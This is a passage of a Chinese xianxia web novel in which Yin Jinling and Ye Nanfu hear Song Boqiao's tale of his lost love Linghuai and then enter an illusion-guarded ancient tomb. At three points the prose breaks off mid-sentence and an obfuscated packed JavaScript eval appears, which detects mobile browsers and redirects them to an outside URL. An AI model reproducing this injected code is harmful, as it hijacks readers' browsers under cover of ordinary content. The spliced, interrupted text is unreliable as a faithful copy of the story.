殷烬翎从惊愕中回过神来,见叶南扶百口莫辩的样子,忙趁人之危落井下石,作势惊呼起来:“啊呀,我说大公子身子弱,叫你别一再逼问他了,你偏不听,眼下可如何是好呀?” 好在蜂拥过来的宋家众人一门心思扑在宋伯乔身上,倒也没多关注叶南扶这边,令他大大地松了一口气,转头瞪了殷烬翎一眼:“莫要谦虚,这事情也有你的一半功劳。” 殷烬翎无辜地眨眨眼:“你这人好生无赖,吓晕了宋大公子,还不想承担罪责,你的良心不会痛嘛?一人做事一人当,众位说是不是啊!” “是!”四面八方都传来应和声。 叶南扶环视身周,发现宋伯乔不知何时已被赶来的仆从们抬走,宋老爷和夫人也跟着去照料他了,而宋家两个公子并剩余的仆从侍婢还围在他周边,看起来凶神恶煞像是要讨个说法。 殷烬翎幸灾乐祸,用口型冲他道:你摊上事儿啦! 叶南扶忽然诡异地笑了笑,令殷烬翎有些不明所以。 就在这时,只听得宋二公子宋仲齐道:“殷姑娘,先前擒拿妖邪,不管怎么说姑娘都是对我们家有大恩,不过既然姑娘说了一人做事一人当,那就一码归一码,我大哥的病还需姑娘多费些心思了。” 殷烬翎:……怎么回事,怎么就成她的锅了? 哦对,这里大多数人都不太清楚叶南扶的来历,只当他是与她一同来的助手,出了事,自然是她来担着。 她活到二百二十二岁上,一贯独来独往,向来活得十分谨慎,终于还是有一天知道了什么叫搬起石头砸自己的脚。 殷烬翎讪讪地摸摸鼻子:“要我多费心思是指……?” “劳烦殷姑娘用仙术祛除大哥身上的病气。” 殷烬翎:? 不是,我又不是大夫来着,生病了去看大夫啊!那大公子是真的生病又不是中邪了,你是不是画本看多了,以为仙家会给点符水啥的喝了就能痊愈啊?仙家不是无所不能的,盲目迷信会害死人啊我跟你讲。这宋大公子明明还没病入膏肓到只能求仙问道的地步吧?实在不行我出去帮你去找个大夫成不? “喂,讨债鬼。”殷烬翎拉拉叶南扶的衣角,低声道,“你有什么法子不,咱能不能劝劝他们好好就医不要迷信,我真不会看病啊……” “叫哥哥。” “哈?” “叫哥哥我就帮你。” “你兄妹禁忌画本看多了吧,死宅真恶心啊。” “那可真遗憾啊……我其实会治病来着。” 殷烬翎狐疑的目光在他脸上转了一圈,眯起眼:“我不信,你要真治好了,我真叫你哥。” “你最好信守承诺。”叶南扶说着调笑的话,脸上却并无笑意,他上前一步,对宋仲齐道:“那么,带我去大公子那儿吧,我来医治他。” - 雕花门扇向两侧打开,木板摩擦、夜风倒灌的声响次第传来。 “先生请。” 紧接着小厮声音的是一个脚步声,沉闷稳重而又悠然自如,每一步都似踏在钟鼓上,极具韵律,由远及近。其后是一些凌乱细碎的脚步,应当是婢女小厮在纷纷撤出去,随着又一次门板合拢的短暂摩擦声与落锁之声,将风动和人言统统关在了门后,一切都归于平静。 不过显然远没有结束,先前那个脚步声的主人此刻仍在屋内,却诡异地沉默着并不出声,连一丝轻微的呼吸都不曾闻及,安静得竟不似有人,倒是自己的呼吸早已在专注细听中不自觉地乱了方寸,然而不论过了多久,不论如何侧耳凝神,都捕捉不到任何的微小动静,令他逐渐怀疑自己是否在同虚妄勾心斗角。 他悄悄睁开一只眼欲一看究竟,却骤然对上一双古井无波般的摄人黑眸。 “啊——!” 惊魂夺魄撕心裂肺的惨叫划破夜幕,但顷刻便戛然而止,令等候在外院的宋夫人焦急万分,几欲上前夺门而入,一旁的宋老爷赶忙将她拦住,劝慰道:“没事的夫人,叶先生不是说了不许任何人打扰吗,你现在进去也只能添乱帮不了什么忙的。” 宋夫人皱着眉,满脸担忧:“可是……” “别担心了,夫人你看乔儿这不是已经醒了嘛,况且叶先生向我保证过了绝对会治好乔儿的,对吧殷姑娘?” “啊?是啊是啊……”被问到的殷烬翎一头雾水,随口应道。 说实话,她仍对叶南扶会治病一事将信将疑。 他该不会其实只是在帮我拖时间好让我快溜吧?应该不可能吧……这讨债鬼有这么好?……不过刚刚宋伯乔叫得那么惨烈,应该不会出什么事吧…… 宋夫人双手合十祈福,口中喃喃念叨:“白仙在上,保佑我儿病愈……” - 屋内叶南扶正一手拿被子一角,堵着宋伯乔的嘴不让他再叫出声来,忽然狠狠打了个喷嚏,他抬手抹了抹鼻子,吸吸气道:“宋大公子,装晕倒是挺像那么回事儿的,可以勉强评个甲等了。” “唔唔唔!”宋伯乔用瘦弱的身躯奋力挣扎。 “不得不说,你这招时机把握得还真不差,一下便让我成了众矢之的。” 叶南扶在床榻旁的太师椅上坐下来,空闲的一手托着后颈转了转脖子,声音懒懒地道:“方才正厅里人多眼杂,我猜约莫是什么难以言说的秘辛,故而没当场揭穿你,眼下追到了你屋里,还屏退了所有人,你若是再不如实相告,休怪我污蔑你与妖物串通一气,当场清算了。” 言至此,他又稍稍凑近些压低声音:“你自当清楚这并不全是污蔑。” 手下宋伯乔的挣扎停了下来,目光之中似有顾虑与释然在交替变换思索着,过了良久良久,久到叶南扶靠在椅背上眯着眼打了个呵欠,宋伯乔才百般犹豫地点了下头。 叶南扶便勉为其难地撑开一只眼皮,探手过去将被子扯了下来,放了宋伯乔自由。 “救……唔唔唔……” 叶南扶撤出空余的手来掏了掏耳朵:“这狡诈的人族,真是一刻都不能放松啊……” 又过了良久良久,双方终于达成了和平商谈的共识,虽然宋伯乔一旦有任何不利企图被角随时都会被塞回他嘴里,但好歹是能坐下来心平气和地好好说话了,也算是折腾了这么长时间取得的一大进步。 宋伯乔气息奄奄地靠在床头,开始断断续续地说一段尘封已久的往事。 “算来那已经是十五年前的事了。彼时我尚不过十五六岁,正是年少不知愁的时候,家里富甲一方,也不用为生计奔波烦扰。当是时,仲齐还未有十岁,母亲正怀有身孕,家中忙碌得紧,根本无暇管束我。父亲虽有意令我接管家里产业,但毕竟我年纪尚轻,如此庞大的家产转手也不可能一蹴而就,只予我两家铺子权作锻炼,既是锻炼,自然只是玩玩罢了,总而言之,现下忆起那段日子简直空闲得不像话,细细想来当时做的最多的事便是试胆。” “那时候的少年人之间流行一个游戏,约上三五好友去一些流传着鬼怪传说的不祥之地探索,谁若率先被吓得惊叫出声,准能被同伴嘲笑个一年半载。不过就图个刺激发散一下平日无处宣泄的旺盛少年精力,寻着各种不知名的山林野地就闷头往里钻,逮着些许捕风捉影的怪谈便兴冲冲地前往,现在真的很难逼自己承认那是曾经的我。” “年少轻狂嘛,谁都有的。”叶南扶点评道,“然后呢?” “当时我是附近少年里出了名的胆大妄为,众人不论欲往什么地方去都会喊上我,因着平日着实太闲,几乎没什么诡秘地儿是我没探过的。就在那一年,家里新开张了两间茶叶铺子,打算开发城郊一座不知名的荒山来种茶叶,于是雇了一些劳工前去垦地,这一挖却挖出了问题。” “开垦几日后,一铲子下去,磕到了无比坚硬的石砖,将铲边沿都碰了个豁口,再扒拉开一看,底下竟像是一整面堆砌完好的石壁。再几日,整座山多处都挖到了石壁那里,石壁密固异常,再难更进一步,父亲请来高人一观,得知这荒山里竟藏着一座未知的古墓,事至此,开山事业也只得停止,父亲还接连祭祀七日,请来城里各道观的道长们大做法事,以谢叨扰墓主安歇之罪。但当时城里都在传,这等规制的大墓,主人生前地位定是超然,身后如此被人冒犯,便是祭祀百日,也难保日后不会见血光。果不其然,数日后荒山古墓流传开了不少诡谈,说是几波盗墓贼进去之后,没见一个出来的,工具还落在山上无人收拾。” “当是时,整个江南城里茶余饭后都在津津乐道此事,更枉论那些素来喜好鬼怪之谈的少年人,作为当事人家的我,自然是被他们围着问了无数遍,被扰得不胜其烦的我随口便道:‘这么好奇,你们不如结伴去探上一探。’谁知此言一出,方才还问得兴致勃勃的少年人纷纷跟霜打的茄子一般蔫头耷脑,道是家中长辈知晓他们平日行径,特地警告了切莫一时贪玩去那处。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626887|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们这瑟缩的模样反倒是激起了我的兴趣,仍是少年心性,想着这附近还就没我去不得的地方,况且还是自家买下的土地,若自己都不敢前去那真是笑话大了,既然没人敢同往,我便独自一人前去。” “活得如此不谨慎还能幸存到如今,还真是好运眷顾。”叶南扶轻嗤一声道。 “谁说不是呢?”宋伯乔苦笑,“若要同那时候的我说天高地厚,我定是不知且不屑的。决定好了之后,我胡乱准备了些不知有用没用的工具,便趁着家里诸事繁多之际溜出了门,直奔荒山古墓而去。” “那日的山野起了弥天大雾,遮蔽日月,五尺之外的物什都不见其形,我原先设想得很完美,进去之后如何如何探险,真的临到面前却慌得连入口都寻不到,只六神无主地一遍又一遍在浓雾里团团打转,在荒山野岭之间来回攀爬,最后别说古墓入口,连下山的方位都迷失了。” “唉,听已经被剧透了结局的恐怖故事真是一点意思也没有。”叶南扶打了个呵欠,昏昏欲睡。 病殃殃的宋伯乔被气得浑身都来了力气,一下坐起来摇叶南扶的肩:“喂,不惜威逼利诱也要逼我讲的故事拜托你倒是听完啊!” “哎哎,听着呢,坐回去好好讲,别拉拉扯扯的。”叶南扶扯开宋伯乔的手,拍拍肩头道,“所以后来你是怎么出来的?” “说实话,我也不清楚。浓雾中不知昼夜,我在山上转了也不知有多久,直到饥寒交迫,心魂皆失,昏死在山路上,人事不知。后来在一山脚的小屋中醒来,小屋的主人是一名独居在山下拾荒为生的少女,名叫灵槐,前日见我晕倒在山脚下,便将我救了起来。我在灵槐家中将养了三日许,待我勉强能下床走动些,便托人进城给家人传信,此时我已失踪整整七日了,家里正急得发了通告四处寻我,城里甚至流传起了‘宋家动了荒山古墓,得罪了长眠此处的先辈,故带走了宋家长子以示惩戒’诸如此类的传言。得知我的状况后父亲马上亲自前来接我,因对灵槐的救命之恩感念在心,便将她一同带回了家。我既已平安归来,城中谣言自然不攻自破,且经此一难后,我不再彻日游手好闲,玩此类危险幼稚的试胆游戏了,转而刻苦学习,为接手家中产业做准备。” “哦,懂了,能让轻狂少年有了这么大改变的定然是情窦初开,心有所属了,是那个灵槐?”叶南扶摸着下巴。 宋伯乔点了点头,提及灵槐的名字时,他神情间虽仍有情意,更多的却是怅然。 “她有一双格外灵动的眼睛,便是不开口就这么安静的看着你,你也能在她眼里窥见星辰大海和千言万语,光凭这点就分外讨人喜欢,何况她性情也是绝佳,仅在家中暂住月余,便已与府内大多数人十分熟络,相信不仅是我,彼时府内许多少年人都对她怀有爱慕之意。我主动向父亲请求接手家业,并向他承诺定会让家业发扬光大,条件是允许我日后娶亲自由,并留灵槐在府里长住。父亲对我大难归来后的幡然醒悟十分欣慰,对伶俐可人的灵槐也颇有好感,故而未多思索便同意了。” “我自以为一切妥当,只待及冠后接管家中生意,就能将灵槐娶过门了,家中众人也觉得大抵好事将近,暗中张罗了起来,谁知我千般打算万般计划,摆平了家中所有人,就是没算到灵槐会站出来反对。倒也并非我自作多情,只是我看她此前对我的态度,当是对我有些情意才是,本也没想让她立刻表态,觉得当下说这些其实为时过早,故未与她提及我的那些日后打算,只说母亲膝下缺个女儿想留她长住下,想着先过个三年五载再说,未曾想到她竟斩钉截铁地拒绝了,说是她其实早先便有离开的念头,只是一直以来没机会说罢了,并表示母亲当时怀的指不定就是个女孩,没必要收她当义女。翌日灵槐便收拾细软搬回了城郊的小屋。” “我前去劝过她,但她似乎铁了心不论我如何劝说都不肯回宋家。她平素便是个有主意的,我见她异常坚决,定是早做好了打算,便只得就此作罢,但也只是打消了劝她回去的想法,对灵槐我是无论如何也不会放弃的。此后的数月,我在忙碌之余都会定期抽空去城郊小屋找她,每次我到来时,她都是欣喜不已的模样,这愈发让我笃定灵槐是对我有意的。因时常事务繁多无法陪伴她,担心她独自一人倍感孤独,想到她提及过从前养过一只小狗,且先前她在宋宅之时便爱同宅中的狗玩闹,遂托人选了一只,后一次来寻她之时送与了她。” “我本以为她会惊喜兴奋,眸灿微光,两靥生花,却未料我竟再度想岔了去,看到那狗的一瞬间她突然面色刷白,那么爱笑的灵槐却几乎维持不住笑容。这令我十分惶惑,欲将狗带走,谁知她却突然拦住了我,说她很喜欢,希望我能把它留下。她言辞恳切,我实在难以拒绝,可她之前的惊惧也不似作伪,犹豫再三,拗不过她的一再请求,我还是将小狗留下了。” “这大概是我人生至此最后悔的决定。” 6. 第 6 章 “那之后几日,家里生意稍有些不景气,我也一直在各商铺之间来回周旋,忙得脚不沾地,好容易得空再去寻灵槐之时……” 宋伯乔低下了头,虚弱的声音几乎淹没在哽咽中。 “她死了。” “一场大火烧尽了她的小屋,她没能逃出来,我到的时候只看到倒塌的房梁,未燃尽的屋瓦与满地焦黑的碎屑残骸。” “那处由于背靠荒山古墓,鲜有人烟,听周边稍远一些村庄的村民说,火是突然起来的,由于离得远,待他们发现赶来的时候已经烧得屋瓦塌陷,无可挽回了,他们都在说这火来的蹊跷。” “我突然想到了那只狗,想到了灵槐瞬间血色尽退苍白的脸,想到了她恳求我将狗留下时那眼里盛满的不舍,刹那间如堕冰窟,浑身冰冷,一个可怕的想法浮现在我脑中。” “她不舍的也许不是那只狗,而是……我。” 叶南扶终于不再没骨头一样瘫在椅背上,稍微坐直了一些,问道:“你怀疑火与那狗有关?” 宋伯乔点点头:“灵槐平日便颇有些许玄妙,还稍懂得一点风水堪舆和卜算周易之学,当日她见到那狗时的神情我至今还记忆犹新,而且刚把狗送给她不久就出了事,除了这狗是邪祟以外我不作他想。” 叶南扶沉吟片刻道:“你与我讲这件陈年旧事,是觉得近几个月来家中频频起火一事的根源在多年前这一场火上?” 宋伯乔默了默,道:“是。” “为什么会这么觉得?毕竟这事都过去了十五年了,如何会与当下的事联系到一处?” “狗叫。”宋伯乔吐出这两个字时声音都有些微颤抖,“三个月前第一场火时,我便听到了狗叫和爪子抓挠门墙的声音,事后发现是因起火之处距隔壁秦家较近,而他家靠这侧的院落里刚巧拴了几只狗,起火那日狗被滚滚浓烟与冲天火光所惊,纷纷狂吠、抓扒门墙。与秦家一番交涉,明白我……惧狗后,秦家便将那些狗都移去了离我家十分偏远的院落。然而两月前第二场火时,我却仍是听到了狗叫。起初以为是我近日处理家中事务劳累,情志太过紧张才出现的幻听妄闻,我安慰自己莫慌,那些都不是真的。谁知过了两日季言跑来同我说,在厨房后头听见了像是动物爪子抓挠门板的声音,顿时便将我这两日好不容易堆积起来的信念尽数打碎,我确信家中所有人都知道我厌恶狗,是绝不可能还有狗存在的。于是我开始担忧,会不会当初害死灵槐的那条狗原本的目标是我,而灵槐代我受了劫难,如今它终于找上我了。” “然后你就忧思过度病倒了?” “可以这么说吧……” “那么你今日拖着疲弱的身体也要挣扎着出来,是为了来确认这妖物是不是那个透着邪性的狗?”叶南扶将手搁在椅子扶手上,撑着头,挑眉问道。 “其实我倒并不觉得昨日抓住的妖邪是那渗人的狗,因为昨夜第四场火,乃至十多日前的第三场火,我都未曾听到狗叫声。” 话至此,宋伯乔犹豫半晌才吞吞吐吐道,“我觉得……那可能……是……是灵槐。” “哦?此话怎讲。”叶南扶似乎来了兴趣,放下了敲得高高的二郎腿,头也不再歪歪斜斜地靠在手上了。 “我说过,一直以来都觉得灵槐懂得许多玄妙之事,不像只是个普通人。在我卧病在床的这些日子里,由于心慌不定,时常被噩梦缠身,其中有很多次翻来覆去做同样的梦,梦里是一个玲珑莹润的少女在牵着我的手慢慢地走,虽然看不清面貌,但我能确信那就是灵槐,她的手十分温暖柔和,却意外的有力,脚下的路崎岖不平,我的双腿也疲累得在不住打颤,几次都险些摔倒,但她自始至终牢牢地牵着我,未曾放开片刻。还有一个梦虽也是与她有关,却……十分的奇怪,梦里天地倾转,山河倒悬,仍是看不清面目的灵槐,她手臂和前额的发丝都燃着火,她怀里抱着一只狗,那正是从前我送她的那只妖犬,她一步一步慢慢向我走来,一直来到我面前停下,梦里的我害怕极了,每每都是以惊醒过来告终。总觉得这是……她在预示着她将要来寻我。” “所以你是觉得灵槐可能死后徘徊不去,成了怨灵?” “啊,怨灵?”宋伯乔骤然一惊,一把抓住叶南扶的袖子,急切地问,“死后难道没有别的方式继续留存人间吗?” “很遗憾,没有。”叶南扶一点点把袖子从宋伯乔手中抽出来,“不管你那灵槐是人、是仙、是妖,死后统统化鬼归入冥界转世轮回,若有怨念强烈者不愿入轮回,则徘徊世间化为怨灵,轻者仅干扰生者梦境,重者莫说杀人毁物,祸国灭世亦有之。” 说罢,见宋伯乔目光呆滞地不知所措,还维持着抓着他袖子的动作,叶南扶叹口气又道:“不过,你也不必担忧,这处宅中没有任何邪物作祟。” “那火婴……” “火婴属于天地生养的灵物,不可能是人的魂魄所化,与怨灵更是完全搭不上边,你便……死了这条心吧。” 宋伯乔闻言,两眼一抹黑便又要倒下去,叶南扶眼疾手快一把捞住他的手,咋着舌皱眉吐出一句:“人族可真是麻烦死了。” - 在屋里故事讲得热火朝天之时,屋外的众人早已急成了油锅里的芝麻团子,滚来滚去还噼噼啪啪直响,一刻都没有停歇,宋夫人就差冲上前去撞门了,好歹都给宋老爷死死拦住了,要不然非得把这扇名贵的乌木门砸个阔口去。 真是富人不知穷人苦,饱汉不知饿汉饥,朱门酒肉臭,路有冻死骨啊!殷烬翎在一旁偷偷嗑瓜子,内心暗暗感叹道。 不过话说回来,那讨债鬼也不知怎么样了,说是拍着胸脯保证能治好,可看他那样子就不像是个会看病的吧,也不知宋老爷怎么会放这种奇怪的家伙进去的。 殷烬翎一把瓜子磕罢,又悠闲地从袖里乾坤中掏出一些来。 要不是就这么丢下他溜掉未免显得太过不仗义,我早就不知道跑到哪里去了。是哦,是不能不讲义气,绝对不是贪图这笔除灵的报酬。 又过去半个多时辰,眼看着宋老爷也快被宋夫人劝动,渐渐要拦不住了,那些个抬着撞锤摩拳擦掌的下人们齐齐上前,正要撞门的时候,门的内侧传来了门锁被取下的声音,接着门向两边被推开,露出叶南扶一脸烦躁嫌恶的表情来,他嘴里含着枚蜜饯,脚在门框上一撑,气势汹汹道:“吵吵吵,我进来这么会功夫就没听你们有停过,这还让人怎么诊治,让病人怎么静养?” 居然就这么水灵灵地出来了?殷烬翎瞪大了眼,磕到一半的瓜子都惊得掉了下来。而且瞧他这盛气凌人的架势,难不成他是真的治好了? 叶南扶一眼扫过落在人群后面的殷烬翎,突然拔高了声音:“有些人啊,肯定暗暗地想我这是在虚张声势,打心眼里觉得我就是个招摇撞骗的江湖骗子,是不是啊?” 宋老爷慌忙往前一挡,将抬着撞锤的仆从藏在身后,道:“怎么会呢,没有的事,我们从来没有觉得叶公子是妄夸海口、欺世盗名,我们全家对公子十分信任,是不是啊夫人?” 宋夫人忙不迭地点头:“对对,我们怎么会觉得叶公子倨傲无礼、信口雌黄呢?您一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你刚刚是不是说了……灌?”殷烬翎狐疑道。 “不是,没有,你听错了。”叶南扶一脸纯洁无辜的微笑。 殷烬翎歪着头打量了他半晌,奈何他笑得刀枪不入,瞧不出什么端倪来,又想起正事来,问道:“你应该已在里面问过他了吧?” 叶南扶“嗯”了一声,顿了顿,就在殷烬翎以为他要接着说下去的之时,突然一把拉起她就往外走去。 “喂喂,讨债鬼,你这是要去哪里?” 殷烬翎猝不及防就被他带出了大公子的院落,她回头看了一眼仍堵在门口的宋家众仆从,讶然道:“你果然只是让宋大公子回光返照了而已吧?现下趁着他们全在关注大公子病情,打算跑路了是不是?我说嘛,什么医术冠绝,明显不符合你的人设啊!” “闭嘴。”叶南扶烦不胜烦,“具体情况我路上会跟你讲,现在先跟我去一个地方。还有,别忘了你先前承诺的,那难听的称呼是时候给我改一改了。” “讨债鬼怎么了,讹我血汗钱还怕别人知道啊?” 殷烬翎说到一半,忽然想起了叶南扶进去诊治之前说的话,又看了看叶南扶貌似一脸正经严肃实则写满了“叫哥哥”的神色,不由心念一转,开口叫道:“哥……” 叶南扶立时绷不住期待地转过头来。 “老哥。” “……” “咋了,老哥?” 7. 第 7 章 经此一番折腾,长夜渐逝,东方已然泛白,当下正迫近日出,两人一路直出了向南的城门,往荒僻的城郊而去。 穿过重重叠翠的山岭,随着一众灌木草被的零落稀疏,终于来到一座因土地大片裸露而显得分外荒芜的荒山。 说是山着实有些言过其实,比之外面一圈苍翠挺立、层林丰沛的重重群山来说,只算得上一个光秃秃的小山陵,宛如一个被众多强壮的地痞围堵在中间,正可怜巴巴地抹着眼泪缩成一团的小沙弥,这就是令整个江南城里人们闻风丧胆的荒山古墓真实面貌。 “就是这个?”听了一路故事的殷烬翎意犹未尽地咋咋嘴,仰起头向荒山之上遥遥望去。 只见山顶之上某几处已全无土壤覆盖,灰白的石壁一角裸露在那里,在岁月的刻蚀下呈现青白的色泽,如同沙弥头上磨灭不了的戒疤。 半山腰处隐隐能窥见较大的一堵石壁及其下仅露出一半、幽邃得像是能吞噬日月的深渊般的巨大开口,约莫便是古墓的入口了。想来这整座荒山,只怕就是一座巨型的古墓高高垒起的封土堆。 但奇怪的是,这古墓按理说至少历经了几百年,封土堆上方不知为何竟繁衍不起草木,远远望去仅有零星几片绿在黄土地上孤立无援,连带着附近的一些山陵也受其影响,草木植被较外围的都稀少许多。 “这么一座荒山,当初宋老爷为什么会想要开垦这里来种茶叶啊,不怕折本嘛?”殷烬翎随口问道,见久久没等到身旁人的回答,便侧过头看向叶南扶,只见他正神色复杂地看着面前这座山,竟是难得微微出了神。 “喂,老哥?”她拿胳膊肘捅捅他,“叫你呢。” 叶南扶回过神便听到这一声,虽然听殷烬翎叫了一路已经稍稍有些习惯了,但还是控制不住气恼,没好气地回道:“干嘛?” “我们接下来怎么说?” 叶南扶径直向前走去:“直接进去吧。” “等、等一下!”殷烬翎忙拉住他,“探墓不用准备什么工具之类的嘛?” “准备什么?” “就那种盗墓画本里常有说到的,什么洛阳铲、黑驴蹄子啥的……” “画本里还说,在虚幻世界里寻找真实的人脑子一定有问题。”叶南扶拉了一把殷烬翎,“走了,小麻雀儿。” “哎哎,等一下!” “又怎么了?” “看那里。” 殷烬翎用手指向山脚一个方向,远远望去像是立着一个高耸的土堆,走过去绕到正面一看,竟是一个竖着无字碑的坟墓,坟土堆得相当之高,从墓碑被风霜雨露侵蚀的程度来看,似乎已经有个十余年了。然而不知是因为其竖立在荒山脚下,还是由于这坟土是从荒山上来的,这坟墓虽瞧着有些年岁,但坟头竟未生半根茅草。 “这莫非便是……灵槐之墓?”殷烬翎推测道,“此处许是当初灵槐的小屋所在地,在灵槐遭遇大火身陨后,宋大公子将她连着小屋一块儿埋葬了,因为埋了诸多屋瓦残骸,所以坟土才如此之高?” “你说的有几分道理。”叶南扶点头,“但若真是如你所说的这样,不觉得有些许怪异之处吗?” “啊,是啊。”殷烬翎拿道袍的袖子擦了擦墓碑,道,“宋大公子将自己描述得对灵槐如此情深意重,却不去寻个山明水秀的风水宝地,而要葬在这谣言怪谈纷飞的险恶之地。连房屋残屑一同埋葬就愈发说不通了,若是前一条还可用‘这是他们初遇之地’或‘灵槐生前喜欢这里’来强行解释,这不把人尸首找出来,而是就地与焦木烂瓦葬在一处,怎么看都不像是个对她爱慕有加的男子会做出来的事。” “简直让人觉得当初失火后他来到这里,寻都没去寻灵槐的尸首,便匆匆掩埋了事。” 殷烬翎眯了眯眼:“老哥,你有法子能看看这墓里面嘛?” 叶南扶已经被叫得渐渐免疫了,也懒得再甩殷烬翎脸色了,反正她又不会因此改口,便直接忽略了称呼。 “做什么,你想看看这里面是否真的葬有灵槐尸首?” 殷烬翎被看穿了心思,尬笑两声道:“能行嘛?” “你不是会仙术吗?你都不行,我有什么办法。”叶南扶翻了个白眼,“况且当初经历过大火,无法估计尸体被烧毁的程度,若是烧得狠了,这么多年下来早就腐烂殆尽了,别说不破坏墓了,便是将墓整个儿掀了,也连白骨都翻不到的。” “好吧……”殷烬翎站起来,再次将目光投向荒山,“看来,只能去那里找找是否有别的线索了。” 也许是因为从前开垦过一遍又没有足够的草木生长,荒山的土质十分松软,踩下去深一脚浅一脚的,更有甚者,一脚踩空便深陷在泥土中难以自拔,令人一路走来十分不适。 殷烬翎走着走着便想起一茬来,抬头问走在前边的叶南扶:“你说,这座山为什么会草木如此稀少?” “大约是因这土中含有的沙石太多了,贮不住雨水,而此山地处江南,雨水丰沛,生长的也多是喜水的花木,故无法在此处生根。”叶南扶抹了抹额角的汗,“另外还有一个原因,你看看脚下。” 殷烬翎依言低头,只觉脚下一些踩着深的地方异常坚硬,用靴子尖划拉开周边的砂土一看,露出了冷硬的灰白色岩砖一角,原来底下才这么点地方就触着墓穴的石壁了,看来这覆盖在墓地上的土层其实非常薄,怪不得也生长不了扎根较深的旱地草木。 “这么说,周围几座山草被稍显稀疏,是由于此山没有植被,土石易受风雨冲刷去别处,影响了周边山的土质才会如此?”殷烬翎分析着,不由疑惑道,“可我瞧着外围的山都花木繁茂,可见正是江南一带常有的土壤,怎生这座山偏是这砂石土质?” 这一次,叶南扶却没有回答,就在殷烬翎纳罕地抬头看向他时,他却突然停下了脚步。 “到了。” 殷烬翎向前望去,只见面前还是如上山这一路上那般,莫说石壁和洞口了,除了山石与沙土根本空无一物,但她瞬间反应过来:“这便是宋大公子当年寻不到古墓入口的缘由?” 先前在山脚下向上观望时,能瞧见这半山腰分明有大块裸露的石壁和黢黑的洞口,如今登上山来却寻不见,足可见这山中古墓必然并非凡物。 殷烬翎屈起二指点在眉心,只见她双目瞳仁微微闪烁着亮芒。 “这山里藏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626889|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个幻术阵,即便我用仙目也看不出洞口的方位,这幻术相当高明。” “不光如此。”叶南扶看向周围,稍远些的土坡轮廓已经模糊不清,“还有个迷雾阵,而且眼下已经起雾了,若我们登山速度慢上一些,现在就被迷雾阻在下方了。” “看来建这个墓的人千方百计地不想让别人接近这里。” 殷烬翎转头,见叶南扶定定地瞧着某处,不由疑惑道:“你能看见墓穴入口嘛?” 叶南扶点点头。 殷烬翎毫不客气地抓住叶南扶的长袍袖子:“那就麻烦你带个路了。” “好,抓住了。” 叶南扶瞥了眼被殷烬翎扯得紧紧的袖子,抬步径直往前走去。 眼见着便要撞上一处巨大的山石,谁知两眼前一黑,便进入了一个诡妙的空间,待到她眼睛适应了周围的黑暗,才发觉身处在一个稍显空阔的平台上,三面环绕着石壁,高耸得一眼望不到顶端,剩下一面是一路向下探不到底的漆黑阶梯。 不过在外头被幻术阵骗过之后,她已经不太敢相信自己的眼睛看到的,便低声问叶南扶:“这里是个三面环壁的开阔平台嘛?” 叶南扶似乎轻轻笑了一声,道:“不,脚下这处平台实际仅有三尺宽,面前只有一条狭窄的阶梯,两侧都是万丈深渊。” “啊?”殷烬翎闻言一惊,立刻七手八脚地扒拉住了叶南扶的胳膊。 “老哥老哥,这幻术阵也太厉害了,我现在看到的和你说的完全不一样!你千万抓着我点!不然我怕等会一脚踩空掉下去!” 叶南扶有些忍俊不禁道:“好,我一定抓紧你。” 殷烬翎从袖里乾坤中取出一盏油灯,一把塞到叶南扶手里。 “老哥,你拿这个照明。” 给出油灯后,她连忙又抱住叶南扶手臂,半刻也不敢松开。 叶南扶瞧她这小心翼翼的模样,颇有些无奈:“这么惜命?” “这不废话。”殷烬翎白了他一眼,“命就一条,不惜命的都死了。” 叶南扶忽然沉默了。 殷烬翎侧目望去,只见油灯散开的一片光晕里,跃动的烛火在他幽深的眸子中明明灭灭。 “也对。” 好半晌,叶南扶才开了口,认真地附和道:“活得谨慎些也挺好。” 殷烬翎觉得稀罕:“嗬,难得你也会赞同我的话啊?我还当你事事都要与我抬杠呢。” 然而她话音未落,对方就大步流星往台阶走去。 “等等,等一下……”殷烬翎被连带着小跑了几步,赶紧一把拉住他,“不是,你刚刚才说了活得谨慎些挺好,怎么转头就开始作死啊?这石阶就三尺宽,两旁都没有遮拦,走这么快是急着去投胎吧?” 先前还好意思吐槽宋大公子年少时的作死行径,我瞧着你也不枉多让嘛! 叶南扶示意她摸摸石阶两边。 殷烬翎犹豫地松开一只手,伸出去探了探,触到两侧石壁的时候不禁有些愣神。 这个石壁,与自己眼睛看到的场景是一样的…… 反应过来,她顿时气歪了嘴:“你有病嘛?在这种地方骗我?” 8. 第 8 章 叶南扶终于把憋在肚里许久的笑大声放了出来:“好了好了,保证不骗你了。” 殷烬翎却仍不解气,一把揪住他领子,恶狠狠地问:“幻术阵到底还在不在,为何我看到的与真实场景一致?” “幻术阵还在,但似乎只对外面的人有效,看来其目的是阻拦外人进入。而进到这里的,必然是看穿了外面的幻术,内部再设相同的阵法,显然意义不大,所以你看到的就是墓室的真实样貌。” 